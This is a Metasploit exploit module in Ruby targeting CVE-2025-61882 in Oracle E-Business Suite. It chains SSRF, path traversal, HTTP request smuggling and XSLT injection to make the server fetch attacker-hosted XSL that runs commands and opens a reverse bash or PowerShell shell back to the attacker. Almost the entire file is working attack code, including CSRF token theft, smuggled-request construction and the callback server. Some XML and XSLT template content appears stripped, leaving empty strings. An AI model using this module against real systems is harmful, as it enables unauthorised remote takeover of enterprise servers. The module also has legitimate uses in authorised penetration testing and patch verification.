# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle E-Business Suite CVE-2025-61882 RCE',
'Description' => %q{
This module exploits CVE-2025-61882 in Oracle E-Business Suite
by combining SSRF, Path Traversal, HTTP request smuggling and XSLT injection.
The exploit hosts a malicious XSL file
that the target will fetch and process, leading to RCE.
This module provides an interactive shell session.
Vulnerable versions affected are 12.2.3-12.2.14.
},
'Author' => [
'watchTowr (Sonny, Sina Kheirkhah, Jake Knott)', # Original Python POC and blog Article
'Mathieu Dupas' # Metasploit module development
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-61882'],
[
'URL',
'https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/'
],
['URL', 'https://www.oracle.com/security-alerts/alert-cve-2025-61882.html']
],
'Targets' => [
[
'Linux/Unix (Interactive Shell)',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
# Simple payload but feel free to use meterpreter ones if needed
}
}
],
[
'Windows (Interactive Shell)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/reverse_powershell'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-10-04',
'DefaultOptions' => {
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
Opt::RPORT(8000),
OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']),
OptString.new('SRVHOST', [true, 'The local host to listen on for XSL callback', '0.0.0.0']),
OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]),
OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]),
OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30])
])
end
def check
vprint_status('Checking if target is vulnerable...')
return CheckCode::Safe unless oracle_ebs_detected?
csrf_token = retrieve_csrf_token
return CheckCode::Unknown unless csrf_token
return CheckCode::Appears if vulnerable_servlet_accessible?(csrf_token)
CheckCode::Safe
end
# Serve malicious XSLT file
def on_request_uri(cli, request)
print_good("Received request: #{request.method} #{request.uri} from #{cli.peerhost}:#{cli.peerport}")
if request.uri.include?('.xsl')
print_good("Serving XSL payload to #{cli.peerhost}...")
xsl_content = generate_xsl_payload
send_response(cli, xsl_content, {
'Content-Type' => 'application/xml',
'Content-Length' => xsl_content.length.to_s,
'Connection' => 'close'
})
# Mark XSL file as served
@xsl_served = true
print_good("XSL payload delivered successfully to #{cli.peerhost} (#{xsl_content.length} bytes)")
else
print_warning("Unexpected request for #{request.uri}, #{cli.peerhost} sending 404")
send_not_found(cli)
end
end
def generate_xsl_payload
command = payload.encoded
vprint_status("Generated command: #{command}")
# Adapt the command to the platform
base_cmd = case target['Platform']
when 'win'
['cmd.exe', '/c']
else
['sh', '-c']
end
# Escaping apostrophes and backslashes
escaped_command = command.gsub('\\', '\\\\\\\\').gsub("'", "\\\\'")
js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
# JavaScript code that will be executed server side via XSLT
js = %|
var #{js_vars[:string_c]} = java.lang.Class.forName('java.lang.String');
var #{js_vars[:cmds]} = java.lang.reflect.Array.newInstance(#{js_vars[:string_c]}, 3);
java.lang.reflect.Array.set(#{js_vars[:cmds]}, 0, '#{base_cmd[0]}');
java.lang.reflect.Array.set(#{js_vars[:cmds]}, 1, '#{base_cmd[1]}');
java.lang.reflect.Array.set(#{js_vars[:cmds]}, 2, '#{escaped_command}');
var #{js_vars[:run_time]} = java.lang.Runtime.getRuntime();
var #{js_vars[:proc]} = #{js_vars[:run_time]}.exec(#{js_vars[:cmds]});
1
|
# Encode in base64 to avoid problems with XML parsing
encoded_js = Rex::Text.encode_base64(js)
# Generate XSLT
%|
|
end
def exploit
@xsl_served = false
@session_created = false
# Step 1 : Start HTTP server for XSL file serving
print_status("Starting HTTP server on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
start_service(
'Uri' => {
'Proc' => proc { |cli, request| on_request_uri(cli, request) },
'Path' => '/'
}
)
# construct server URL
server_url = get_uri
xsl_url = "#{server_url}#{Rex::Text.rand_text_alpha(8)}.xsl"
print_status("XSL payload will be served at: #{xsl_url}")
# Step 2: Get CSRF token
print_status('Retrieving CSRF token from target...')
csrf_token = retrieve_csrf_token
fail_with(Failure::Unknown, 'Could not retrieve CSRF token') unless csrf_token
print_good("CSRF token retrieved: #{csrf_token}")
# Step 3: Smuggle payload
print_status('Creating HTTP request smuggling payload...')
smuggle_payload = create_smuggle_payload
vprint_status("Smuggled payload created (#{smuggle_payload.length} bytes)")
# Step 4: Send exploit request
print_status('Triggering exploitation via UiServlet...')
send_exploit_request(smuggle_payload)
# Step 5: Wait for XSLT file download
print_status("Keeping HTTP server alive, waiting for callback to #{datastore['LHOST']}:#{datastore['LPORT']}...")
begin
# Wait for XSL request
retry_until_truthy(timeout: datastore['HTTP_TIMEOUT']) do
@xsl_served
end
# Wait for shell connection
print_status("Waiting up to #{datastore['SHELL_TIMEOUT']} seconds for reverse shell connection...")
retry_until_truthy(timeout: datastore['SHELL_TIMEOUT']) do
session_created?
end
print_good('Session created successfully!')
@session_created = true
rescue ::Timeout::Error
if !@xsl_served
print_error("XSL request timeout (#{datastore['HTTP_TIMEOUT']}s) expired")
else
print_error("Shell timeout (#{datastore['SHELL_TIMEOUT']}s) expired")
end
end
end
def retrieve_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'),
'keep_cookies' => true
})
return nil unless res
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'),
'headers' => {
'CSRF-XHR' => 'YES',
'FETCH-CSRF-TOKEN' => '1'
},
'keep_cookies' => true
})
if res && res.code == 200 && res.body
parts = res.body.split(':')
return parts[1].strip if parts.length >= 2
end
nil
rescue ::Rex::ConnectionError, ::Timeout::Error => e
vprint_error("Connection failed: #{e.class}")
nil
end
def create_smuggle_payload
srvhost = datastore['SRVHOST']
srvport = datastore['SRVPORT']
srvhost = Rex::Socket.source_address(rhost) if srvhost == '0.0.0.0'
smuggle_request = "POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2\r\n"
smuggle_request += "Host: #{srvhost}:#{srvport}\r\n"
smuggle_request += "User-Agent: #{Rex::Text.rand_text_alpha(10)}\r\n"
smuggle_request += "Connection: keep-alive\r\n"
# Add sessions cookies
cookies = get_cookies
smuggle_request += "Cookie: #{cookies}\r\n" if cookies && !cookies.empty?
# Add POST request via CRLF
smuggle_request += "\r\n\r\n\r\nPOST /"
vprint_status("Smuggled request will target: #{srvhost}:#{srvport}")
vprint_status('Full smuggled request:')
vprint_line(smuggle_request) if datastore['VERBOSE']
# Encode payload in HTML entities
cook_smuggle_stub(smuggle_request)
end
def cook_smuggle_stub(payload)
payload = payload.sub(/^(?:POST|GET) /, '')
# Encode in HTML entities
Rex::Text.html_encode(payload)
end
def send_exploit_request(encoded_payload)
# Encoded payload is inserted in return_url (SSRF)
xml = %(\
\
test\
http://apps.example.com:7201#{encoded_payload}\
0\
0\
Applet\
)
vprint_status('Sending exploit to UiServlet...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
'vars_post' => {
'redirectFromJsp' => '1',
'getUiType' => xml
},
'keep_cookies' => true
})
if res
vprint_status("UiServlet responded with: #{res.code}")
vprint_status("Response body length: #{res.body.length} bytes") if res.body
else
print_warning('No response from UiServlet (this might be normal)')
end
res
end
def get_cookies
cookies = []
cookie_jar.cookies.each do |cookie|
cookies << "#{cookie.name}=#{cookie.value}"
end
cookies.join('; ')
end
def oracle_ebs_detected?
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp')
})
res && (res.headers['Server']&.include?('Oracle') ||
res.body&.include?('Oracle')) # maybe to adapt for different versions. Fully Tested on version 12.2.12
rescue StandardError
false
end
def vulnerable_servlet_accessible?(_csrf_token)
test_xml = '' \
'' \
'test' \
'http://example.com/test' \
'0' \
'0' \
'Applet' \
''
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
'vars_post' => {
'redirectFromJsp' => '1',
'getUiType' => test_xml
},
'keep_cookies' => true
})
res && [200, 302].include?(res.code)
rescue StandardError
false
end
end